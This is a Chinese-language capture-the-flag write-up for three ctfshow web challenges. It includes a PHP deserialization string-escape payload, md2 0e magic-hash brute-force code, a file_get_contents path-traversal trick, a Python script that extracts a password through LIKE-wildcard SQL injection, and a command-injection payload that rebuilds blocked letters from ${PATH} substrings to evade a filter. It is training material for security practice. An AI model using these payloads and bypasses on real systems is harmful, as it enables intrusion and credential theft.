目录
web1_此夜圆
web2_故人心
web3_莫负婵娟
web1_此夜圆
拿到源码,一眼字符串逃逸
本地测一测,成功弹出计算器
<?php
class a
{
public $uname;
public $password;
public function __wakeup()
{
system('calc');
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname="Z3r4yFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky\";s:8:\"password\";s:5:\"yu22x\";}";
$password=1;
echo serialize(new a($uname,$password));
echo strlen("\";s:8:\"password\";s:5:\"yu22x\";}");
echo filter(serialize(new a($uname,$password)));
unserialize(filter(serialize(new a($uname,$password))));
?>
最终payload:
?1=Z3r4yFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
第一层用高精度绕过
<?php
for ($i = 1; $i <= 999; $i++) {
$a="1e-".$i;
if($a**2==0){
echo $i; //162
break;
}
}
访问./robots.txt
访问./hinthint.txt
脚本爆可以0e绕过的值,$b要爆3位,$c要爆4位
<?php
for ($i=100;$i<=999;$i++){
$b = "0e".$i."024452";
if($b==hash("md2", $b)){
echo $b;
}
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<=9999;$i++){
$c = "0e".$i."48399";
if($c==hash("md2",hash("md2", $c))){
echo $c;
}
}
//c=0e603448399
payload:
?a=1e-162&b=0e652024452&c=0e603448399
得知flag位置
关于url的绕过
php中file_get_contents使用不存在的协议名可以目录穿越读文件
post传参
url=suibian://ctfshow.com/../../../../../../../../fl0g.txt
web3_莫负婵娟
进入题目右键查看源码,一眼sql注入
like 模糊匹配
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符
# 大致同上,不同的是只能代表单个数字
payload:
________________________________
测出密码长度为32
脚本爆出密码
import requests
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://dc852120-5466-4972-809e-10b7c7f6107a.challenge.ctf.show/login.php' #需要修改处;
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in a:
password = pwd + j + (31 - i) * '_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
yu22x / 67815b0c009ee970fe4014abaa3Fa6A0登录成功
一眼八股,但小写字母都被waf掉了,用提示中的环境变量+linux字符串截取来构造
${PATH:x:y}
是一种 Bash shell 中的参数替换语法,它从变量PATH
中提取一个子字符串,并根据提供的参数进行操作。
x
是一个非负整数,表示提取子字符串的起始位置。位置从0开始计数,即第一个字符的位置为0。
y
是一个非负整数,表示提取的子字符串的长度。
${PATH:x:y}
将会从PATH
变量中提取一个子字符串,从位置x
开始,并且提取长度为y
的部分。例如,
${PATH:2:3}
将会提取PATH
变量中的第3、第4和第5个字符组成的子字符串。
127.0.0.1;${PATH:5:1}${PATH:2:1}
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???